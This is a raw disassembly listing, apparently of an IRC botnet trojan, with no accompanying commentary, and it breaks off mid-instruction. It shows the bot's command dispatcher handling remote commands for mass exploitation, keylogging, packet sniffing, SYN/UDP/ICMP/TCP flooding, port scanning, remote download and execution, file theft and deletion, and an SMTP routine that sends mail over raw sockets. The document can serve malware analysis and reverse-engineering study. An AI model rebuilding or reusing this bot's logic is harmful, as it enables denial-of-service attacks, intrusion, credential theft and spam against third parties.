sub_40B151 pop ecx jmp loc_412974 ; --------------------------------------------------------------------------- loc_40E508: ; CODE XREF: seg000:0040E48Aj push edi push offset aBox_getclip ; "box.getclip" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411F9D push edi push offset aBox_gc ; "box.gc" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411F9D push edi push offset aUtil_flusharp ; "util.flusharp" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411F72 push edi push offset aUtil_farp ; "util.farp" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411F72 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411F4E push edi push offset aUtil_fdns ; "util.fdns" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411F4E push edi push offset aVuln_currentip ; "vuln.currentip" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411F11 push edi push offset aVuln_cip ; "vuln.cip" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411F11 push edi push offset aServer_httpd_o ; "server.httpd.on" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411D77 push edi push offset aServer_web_on ; "server.web.on" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411D77 push edi push offset aServer_tftp_on ; "server.tftp.on" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411C39 push edi push offset aServer_tf_on ; "server.tf.on" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411C39 push edi push offset aVuln_massexplo ; "vuln.massexploit" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41193A push edi push offset aVall ; "vall" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41193A mov edi, [ebp+esi-90h] cmp edi, ebx jz loc_40D1FD push dword ptr [ebp+10h] push offset aEnz_nick ; "enz.nick" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411921 push dword ptr [ebp+10h] push offset aEnz_n ; "enz.n" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411921 push dword ptr [ebp+10h] push offset aEnz_join ; "enz.join" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411901 push dword ptr [ebp+10h] push offset aEnz_j ; "enz.j" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411901 push dword ptr [ebp+10h] push offset aEnz_part ; "enz.part" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4118E8 push dword ptr [ebp+10h] push offset aEnz_pt ; "enz.pt" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4118E8 push dword ptr [ebp+10h] push offset aEnz_raw ; "enz.raw" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4118B1 push dword ptr [ebp+10h] push offset aEnz_r ; "enz.r" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4118B1 push dword ptr [ebp+10h] push offset aThreads_kill ; "threads.kill" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4117EE push dword ptr [ebp+10h] push offset aThreads_k ; "threads.k" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4117EE push dword ptr [ebp+10h] push offset aClone_quit ; "clone.quit" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411743 push dword ptr [ebp+10h] push offset aClone_q ; "clone.q" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411743 push dword ptr [ebp+10h] push offset aClone_rndnick ; "clone.rndnick" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4116F8 push dword ptr [ebp+10h] push offset aClone_rn ; "clone.rn" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4116F8 push dword ptr [ebp+10h] push offset aEnz_prefix ; "enz.prefix" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4116E3 push dword ptr [ebp+10h] push offset aEnz_pr ; "enz.pr" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4116E3 push dword ptr [ebp+10h] push offset aBox_open ; "box.open" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4116B9 push dword ptr [ebp+10h] push offset aBox_o ; "box.o" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4116B9 push dword ptr [ebp+10h] push offset aEnz_setserve ; "enz.setserve" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411694 push dword ptr [ebp+10h] push offset aEnz_se ; "enz.se" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411694 push dword ptr [ebp+10h] push offset aEnz_dns ; "enz.dns" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411632 push dword ptr [ebp+10h] push offset aEnz_dn ; "enz.dn" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411632 push dword ptr [ebp+10h] push offset aBox_killprocna ; "box.killprocname" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411606 push dword ptr [ebp+10h] push offset aBox_kpn ; "box.kpn" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411606 push dword ptr [ebp+10h] push offset aBox_prockillid ; "box.prockillid" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4115AB push dword ptr [ebp+10h] push offset aBox_pkid ; "box.pkid" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4115AB push dword ptr [ebp+10h] push offset aBox_delete ; "box.delete" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411574 push dword ptr [ebp+10h] push offset aBox_del ; "box.del" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411574 push dword ptr [ebp+10h] push offset aDcc_get ; "dcc.get" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411493 push dword ptr [ebp+10h] push offset aDcc_gt ; "dcc.gt" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411493 push dword ptr [ebp+10h] push offset aBox_filelist ; "box.filelist" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411478 push dword ptr [ebp+10h] push offset aBox_fl ; "box.fl" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411478 push dword ptr [ebp+10h] push offset aEnz_visit ; "enz.visit" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41139A push dword ptr [ebp+10h] push offset aEnz_v ; "enz.v" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41139A push dword ptr [ebp+10h] push offset aMirc_cmd ; "mirc.cmd" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41135F push dword ptr [ebp+10h] push offset aMirc_cmd ; "mirc.cmd" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41135F push dword ptr [ebp+10h] push offset aBox_cmd ; "box.cmd" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411314 push dword ptr [ebp+10h] push offset aBox_cm ; "box.cm" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411314 push dword ptr [ebp+10h] push offset aBox_readfile ; "box.readfile" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41128F push dword ptr [ebp+10h] push offset aBox_rf ; "box.rf" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41128F push dword ptr [ebp+10h] push offset aSniff ; "sniff" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40EB1F push edi push offset aOn ; "on" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40EAEA push 18h call sub_4151C1 test eax, eax pop ecx jle short loc_40EA17 push offset unk_4359A0 jmp loc_40EB8B ; --------------------------------------------------------------------------- loc_40EA17: ; CODE XREF: seg000:0040EA0Bj mov eax, [ebp+0Ch] mov esi, [ebp+esi-8Ch] mov [ebp-4DCh], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] cmp esi, ebx mov [ebp-450h], eax jnz short loc_40EA59 mov esi, offset aSs_0 ; "#ss" push offset byte_438F9C push esi call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40EA59 mov esi, [ebp-8Ch] loc_40EA59: ; CODE XREF: seg000:0040EA3Bj ; seg000:0040EA51j push esi lea eax, [ebp-4D8h] push 80h push eax call sub_415A4A lea eax, [ebp-2C8h] push offset unk_43595C push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 18h push eax call sub_414F79 add esp, 20h mov [ebp-458h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4DCh] push ebx push eax push 4024DCh push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-458h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_40EAD9 loc_40EAC3: ; CODE XREF: seg000:0040EAD7j cmp [ebp-44Ch], ebx jnz loc_40ECA7 push 32h call ds:dword_421060 ; Sleep jmp short loc_40EAC3 ; --------------------------------------------------------------------------- loc_40EAD9: ; CODE XREF: seg000:0040EAC1j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_43590C jmp loc_40EC98 ; --------------------------------------------------------------------------- loc_40EAEA: ; CODE XREF: seg000:0040E9FBj push edi push offset aOff ; "off" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40ECA7 push ebx push 18h call sub_415174 pop ecx cmp eax, ebx pop ecx jle short loc_40EB18 push eax push offset unk_4358BC jmp loc_40EC98 ; --------------------------------------------------------------------------- loc_40EB18: ; CODE XREF: seg000:0040EB0Bj push offset unk_435880 jmp short loc_40EB8B ; --------------------------------------------------------------------------- loc_40EB1F: ; CODE XREF: seg000:0040E9E6j push dword ptr [ebp+10h] push offset aBox_keylog ; "box.keylog" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40ECD1 push edi push offset aOn ; "on" call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40EB9E push edi push offset aFile ; "file" call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40EB9E push edi push offset aOff ; "off" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40ECA7 push ebx push 1Ah call sub_415174 pop ecx cmp eax, ebx pop ecx jle short loc_40EB86 push eax push offset unk_435824 jmp loc_40EC98 ; --------------------------------------------------------------------------- loc_40EB86: ; CODE XREF: seg000:0040EB79j push offset unk_4357E4 loc_40EB8B: ; CODE XREF: seg000:0040EA12j ; seg000:0040EB1Dj ... lea eax, [ebp-2C8h] push eax call sub_4154CD pop ecx pop ecx jmp loc_40ECA7 ; --------------------------------------------------------------------------- loc_40EB9E: ; CODE XREF: seg000:0040EB45j ; seg000:0040EB56j push 1Ah call sub_4151C1 test eax, eax pop ecx jle short loc_40EBB1 push offset unk_4357B0 jmp short loc_40EB8B ; --------------------------------------------------------------------------- loc_40EBB1: ; CODE XREF: seg000:0040EBA8j mov eax, [ebp+0Ch] push edi mov [ebp-4DCh], eax mov eax, [ebp-4] push offset aFile ; "file" mov [ebp-454h], eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40EBE0 mov dword ptr [ebp-450h], 1 jmp short loc_40EBE9 ; --------------------------------------------------------------------------- loc_40EBE0: ; CODE XREF: seg000:0040EBD2j mov eax, [ebp-8] mov [ebp-450h], eax loc_40EBE9: ; CODE XREF: seg000:0040EBDEj mov esi, [ebp+esi-8Ch] cmp esi, ebx jnz short loc_40EC10 mov esi, offset aSs ; "#ss" push offset byte_438F9C push esi call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40EC10 mov esi, [ebp-8Ch] loc_40EC10: ; CODE XREF: seg000:0040EBF2j ; seg000:0040EC08j push esi lea eax, [ebp-4D4h] push 80h push eax call sub_415A4A lea eax, [ebp-2C8h] push offset unk_43577C push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 1Ah push eax call sub_414F79 add esp, 20h mov [ebp-4D8h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4DCh] push ebx push eax push offset loc_4021FB push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-4D8h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_40EC8C loc_40EC7A: ; CODE XREF: seg000:0040EC8Aj cmp [ebp-44Ch], ebx jnz short loc_40ECA7 push 32h call ds:dword_421060 ; Sleep jmp short loc_40EC7A ; --------------------------------------------------------------------------- loc_40EC8C: ; CODE XREF: seg000:0040EC78j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_43572C loc_40EC98: ; CODE XREF: seg000:0040EAE5j ; seg000:0040EB13j ... lea eax, [ebp-2C8h] push eax call sub_4154CD add esp, 0Ch loc_40ECA7: ; CODE XREF: seg000:0040EAC9j ; seg000:0040EAF9j ... cmp [ebp-8], ebx jnz loc_40D7DD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 14h jmp loc_40D7DD ; --------------------------------------------------------------------------- loc_40ECD1: ; CODE XREF: seg000:0040EB30j push dword ptr [ebp+10h] push offset aBox_net ; "box.net" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40EFA2 cmp ds:dword_43A448, ebx jz short loc_40ED02 cmp ds:dword_43A470, ebx jz short loc_40ED02 push offset dword_4356D8 jmp loc_40EF5C ; --------------------------------------------------------------------------- loc_40ED02: ; CODE XREF: seg000:0040ECEEj ; seg000:0040ECF6j cmp [ebp-0Ch], ebx jz loc_40EF6A mov eax, [ebp+esi-8Ch] mov [ebp+8], ebx cmp eax, ebx mov [ebp+20h], eax jz short loc_40ED2A push eax push dword ptr [ebp-0Ch] call sub_415AA0 pop ecx mov [ebp+8], eax pop ecx loc_40ED2A: ; CODE XREF: seg000:0040ED1Aj push edi push offset aStart ; "start" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40ED90 cmp [ebp+20h], ebx jz short loc_40ED64 push dword ptr [ebp+8] push 3 loc_40ED45: ; CODE XREF: seg000:0040EDA6j ; seg000:0040EDBEj ... call sub_412DCD push eax lea eax, [ebp-2C8h] push offset aS_1 ; "%s" push eax call sub_4154CD add esp, 14h jmp loc_40EF6A ; --------------------------------------------------------------------------- loc_40ED64: ; CODE XREF: seg000:0040ED3Ej push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_413074 add esp, 0Ch test eax, eax jz short loc_40ED86 push offset dword_4356A0 jmp loc_40EF5C ; --------------------------------------------------------------------------- loc_40ED86: ; CODE XREF: seg000:0040ED7Aj push offset dword_43566C jmp loc_40EF5C ; --------------------------------------------------------------------------- loc_40ED90: ; CODE XREF: seg000:0040ED39j push edi push offset aStop ; "stop" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40EDA8 push dword ptr [ebp+8] push 4 jmp short loc_40ED45 ; --------------------------------------------------------------------------- loc_40EDA8: ; CODE XREF: seg000:0040ED9Fj push edi push offset aPause ; "pause" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40EDC0 push dword ptr [ebp+8] push 5 jmp short loc_40ED45 ; --------------------------------------------------------------------------- loc_40EDC0: ; CODE XREF: seg000:0040EDB7j push edi push offset aContinue ; "continue" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40EDDB push dword ptr [ebp+8] push 6 jmp loc_40ED45 ; --------------------------------------------------------------------------- loc_40EDDB: ; CODE XREF: seg000:0040EDCFj push edi push offset aDelete ; "delete" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40EDF6 push dword ptr [ebp+8] push 1 jmp loc_40ED45 ; --------------------------------------------------------------------------- loc_40EDF6: ; CODE XREF: seg000:0040EDEAj push edi push offset aShare ; "share" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40EE73 cmp [ebp+20h], ebx jz short loc_40EE46 cmp [ebp-9B0h], bl jz short loc_40EE1C push ebx push dword ptr [ebp+20h] push 1 jmp short loc_40EE27 ; --------------------------------------------------------------------------- loc_40EE1C: ; CODE XREF: seg000:0040EE12j push dword ptr [ebp+esi-88h] push dword ptr [ebp+20h] push ebx loc_40EE27: ; CODE XREF: seg000:0040EE1Aj call sub_4131B1 push eax lea eax, [ebp-2C8h] push offset aS_1 ; "%s" push eax call sub_4154CD add esp, 18h jmp loc_40EF6A ; --------------------------------------------------------------------------- loc_40EE46: ; CODE XREF: seg000:0040EE0Aj push ebx push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4133A6 add esp, 10h test eax, eax jz short loc_40EE69 push offset dword_435618 jmp loc_40EF5C ; --------------------------------------------------------------------------- loc_40EE69: ; CODE XREF: seg000:0040EE5Dj push offset dword_4355E4 jmp loc_40EF5C ; --------------------------------------------------------------------------- loc_40EE73: ; CODE XREF: seg000:0040EE05j push edi push offset aUser ; "user" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40EF0F mov eax, [ebp+20h] cmp eax, ebx jz short loc_40EEE8 cmp [ebp-9B0h], bl jz short loc_40EEA9 push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] push ebx push eax push 1 jmp short loc_40EEC9 ; --------------------------------------------------------------------------- loc_40EEA9: ; CODE XREF: seg000:0040EE95j push dword ptr [ebp-4] mov esi, [ebp+esi-88h] cmp esi, ebx push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] jz short loc_40EEC5 push esi push eax push ebx jmp short loc_40EEC9 ; --------------------------------------------------------------------------- loc_40EEC5: ; CODE XREF: seg000:0040EEBEj push ebx push eax push 2 loc_40EEC9: ; CODE XREF: seg000:0040EEA7j ; seg000:0040EEC3j call sub_4134C7 push eax lea eax, [ebp-2C8h] push offset aS_1 ; "%s" push eax call sub_4154CD add esp, 24h jmp loc_40EF6A ; --------------------------------------------------------------------------- loc_40EEE8: ; CODE XREF: seg000:0040EE8Dj push ebx push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4139DB add esp, 10h test eax, eax jz short loc_40EF08 push offset dword_4355A8 jmp short loc_40EF5C ; --------------------------------------------------------------------------- loc_40EF08: ; CODE XREF: seg000:0040EEFFj push offset dword_435578 jmp short loc_40EF5C ; --------------------------------------------------------------------------- loc_40EF0F: ; CODE XREF: seg000:0040EE82j push edi push offset aSend ; "send" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40EF57 cmp [ebp+20h], ebx jz short loc_40EF50 push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_413C8F push eax lea eax, [ebp-2C8h] push offset aS_1 ; "%s" push eax call sub_4154CD add esp, 1Ch jmp short loc_40EF6A ; --------------------------------------------------------------------------- loc_40EF50: ; CODE XREF: seg000:0040EF23j push offset dword_435544 jmp short loc_40EF5C ; --------------------------------------------------------------------------- loc_40EF57: ; CODE XREF: seg000:0040EF1Ej push offset dword_435514 loc_40EF5C: ; CODE XREF: seg000:0040ECFDj ; seg000:0040ED81j ... lea eax, [ebp-2C8h] push eax call sub_4154CD pop ecx pop ecx loc_40EF6A: ; CODE XREF: seg000:0040ED05j ; seg000:0040ED5Fj ... cmp [ebp-8], ebx jnz short loc_40EF8B push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 14h loc_40EF8B: ; CODE XREF: seg000:0040EF6Dj ; seg000:00411304j ... mov esi, [ebp+2Ch] loc_40EF8E: ; CODE XREF: seg000:0040D7E0j ; seg000:004115DFj ... lea eax, [ebp-2C8h] push eax call sub_40B151 pop ecx mov eax, esi jmp loc_40D200 ; --------------------------------------------------------------------------- loc_40EFA2: ; CODE XREF: seg000:0040ECE2j push dword ptr [ebp+10h] push offset aEnz_gethost ; "enz.gethost" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4111AB push dword ptr [ebp+10h] push offset aEnz_gh ; "enz.gh" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4111AB mov eax, [ebp+esi-8Ch] cmp eax, ebx mov [ebp+20h], eax jz loc_40D1FD push dword ptr [ebp+10h] push offset aEnz_addalias ; "enz.addalias" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41116C push dword ptr [ebp+10h] push offset aEnz_aa ; "enz.aa" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41116C push dword ptr [ebp+10h] push offset aEnz_privmsg ; "enz.privmsg" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411119 push dword ptr [ebp+10h] push offset aEnz_pm ; "enz.pm" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411119 push dword ptr [ebp+10h] push offset aEnz_action ; "enz.action" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4110AB push dword ptr [ebp+10h] push offset aEnz_ac ; "enz.ac" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4110AB push dword ptr [ebp+10h] push offset aEnz_cycle ; "enz.cycle" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411048 push dword ptr [ebp+10h] push offset aEnz_cy ; "enz.cy" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411048 push dword ptr [ebp+10h] push offset aEnz_mode ; "enz.mode" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411009 push dword ptr [ebp+10h] push offset aEnz_m ; "enz.m" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411009 push dword ptr [ebp+10h] push offset aClone_raw ; "clone.raw" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410F9E push dword ptr [ebp+10h] push offset aClone_ra ; "clone.ra" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410F9E push dword ptr [ebp+10h] push offset aClone_mode ; "clone.mode" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410F1C push dword ptr [ebp+10h] push offset aClone_m ; "clone.m" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410F1C push dword ptr [ebp+10h] push offset aClone_nick ; "clone.nick" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410EAB push dword ptr [ebp+10h] push offset aClone_ni ; "clone.ni" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410EAB push dword ptr [ebp+10h] push offset aClone_join ; "clone.join" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410E85 push dword ptr [ebp+10h] push offset aClone_j ; "clone.j" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410E85 push dword ptr [ebp+10h] push offset aClone_part ; "clone.part" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410E22 push dword ptr [ebp+10h] push offset aClone_p ; "clone.p" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410E22 push dword ptr [ebp+10h] push offset aEnz_repeat ; "enz.repeat" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410D5C push dword ptr [ebp+10h] push offset aEnz_rp ; "enz.rp" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410D5C push dword ptr [ebp+10h] push offset aEnz_delay ; "enz.delay" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410CC1 push dword ptr [ebp+10h] push offset aEnz_de ; "enz.de" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410CC1 push dword ptr [ebp+10h] push offset aDownload_up010 ; "download.up010" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410B43 push dword ptr [ebp+10h] push offset aDownload_010 ; "download.010" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410B43 push dword ptr [ebp+10h] push offset aBox_execute ; "box.execute" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410AA2 push dword ptr [ebp+10h] push offset aBox_e ; "box.e" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410AA2 push dword ptr [ebp+10h] push offset aBox_findfile ; "box.findfile" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4109A4 push dword ptr [ebp+10h] push offset aBox_ff ; "box.ff" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4109A4 push dword ptr [ebp+10h] push offset aBox_rename ; "box.rename" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410953 push dword ptr [ebp+10h] push offset aBox_mv ; "box.mv" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410953 push dword ptr [ebp+10h] push offset aDdos_icmp ; "ddos.icmp" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410858 push dword ptr [ebp+10h] push offset aDdos_ic ; "ddos.ic" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410858 mov eax, [ebp+esi-88h] cmp eax, ebx mov [ebp+8], eax jz loc_40D1FD push dword ptr [ebp+10h] push offset aClone_make ; "clone.make" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41076D push dword ptr [ebp+10h] push offset aClone_start ; "clone.start" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41076D push dword ptr [ebp+10h] push offset aDs_sy1 ; "ds.sy1" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410668 push dword ptr [ebp+10h] push offset aDs_ack ; "ds.ack" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410668 push dword ptr [ebp+10h] push offset aDs_rm ; "ds.rm" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410668 push dword ptr [ebp+10h] push offset aDdos_synflood ; "ddos.synflood" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41056A push dword ptr [ebp+10h] push offset aSy1 ; "sy1" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41056A push dword ptr [ebp+10h] push offset aDonad_frwww ; "donad.frwww" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41042C push dword ptr [ebp+10h] push offset aD1 ; "d1" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41042C push dword ptr [ebp+10h] push offset aServer_redir_0 ; "server.redirect.on" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410332 push dword ptr [ebp+10h] push offset aServer_rd_on ; "server.rd.on" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410332 push dword ptr [ebp+10h] push offset aEnz_portscan ; "enz.portscan" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41023F push dword ptr [ebp+10h] push offset aEnz_ps ; "enz.ps" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41023F push dword ptr [ebp+10h] push offset aClone_privmsg ; "clone.privmsg" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41016A push dword ptr [ebp+10h] push offset aClone_pm ; "clone.pm" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41016A push dword ptr [ebp+10h] push offset aClone_action ; "clone.action" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410055 push dword ptr [ebp+10h] push offset aClone_ac ; "clone.ac" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410055 mov eax, [ebp+esi-84h] cmp eax, ebx mov [ebp+18h], eax jz loc_40D1FD push dword ptr [ebp+10h] push offset aVuln_start ; "vuln.start" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40FCFE push dword ptr [ebp+10h] push offset aVvv ; "vvv" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40FCFE push dword ptr [ebp+10h] push offset aDdos_udpflood ; "ddos.udpflood" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40FBDE push dword ptr [ebp+10h] push offset aDdos_udpf ; "ddos.udpf" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40FBDE push dword ptr [ebp+10h] push offset aPu ; "pu" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40FBDE push dword ptr [ebp+10h] push offset aDdos_pingflood ; "ddos.pingflood" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40FAAB push dword ptr [ebp+10h] push offset aDdos_pingf ; "ddos.pingf" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40FAAB push dword ptr [ebp+10h] push offset aPg ; "pg" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40FAAB push dword ptr [ebp+10h] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40F918 push dword ptr [ebp+10h] push offset aUsa ; "usa" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40F918 push dword ptr [ebp+10h] push offset aUtil_email ; "util.email" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40F721 lea eax, [ebp-3E4h] push edi push eax call sub_415BE0 push dword ptr [ebp+20h] call sub_415A3F push dword ptr [ebp+8] mov [ebp+20h], eax lea eax, [ebp-0D9Ch] push eax call sub_415BE0 push dword ptr [ebp+18h] lea eax, [ebp-0B94h] push eax call sub_415BE0 push offset asc_4269C8 ; " " push offset a_ ; "_" push dword ptr [ebp+esi-80h] call sub_40998E push eax lea eax, [ebp-548h] push eax call sub_415BE0 add esp, 30h lea eax, [ebp-6F4h] push eax push 101h call ds:dword_43A2F0 ; WSAStartup lea eax, [ebp-3E4h] push eax call ds:dword_43A3FC ; gethostbyname push 6 push 1 push 2 mov edi, eax call ds:dword_43A3F8 ; socket push dword ptr [ebp+20h] mov esi, eax mov word ptr [ebp-2D8h], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-2D4h], eax call ds:dword_43A378 ; ntohs mov [ebp-2D6h], ax lea eax, [ebp-548h] push eax lea eax, [ebp-0D9Ch] push eax lea eax, [ebp-548h] push eax lea eax, [ebp-0B94h] push eax lea eax, [ebp-0D9Ch] push eax lea eax, [ebp-159Ch] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_4154CD add esp, 1Ch lea eax, [ebp-2D8h] push 10h push eax push esi call ds:dword_43A320 ; connect mov edi, 100h push ebx lea eax, [ebp-0C98h] push edi push eax push esi call ds:dword_43A390 ; recv lea eax, [ebp-0C98h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-159Ch] push eax push esi call ds:dword_43A3C8 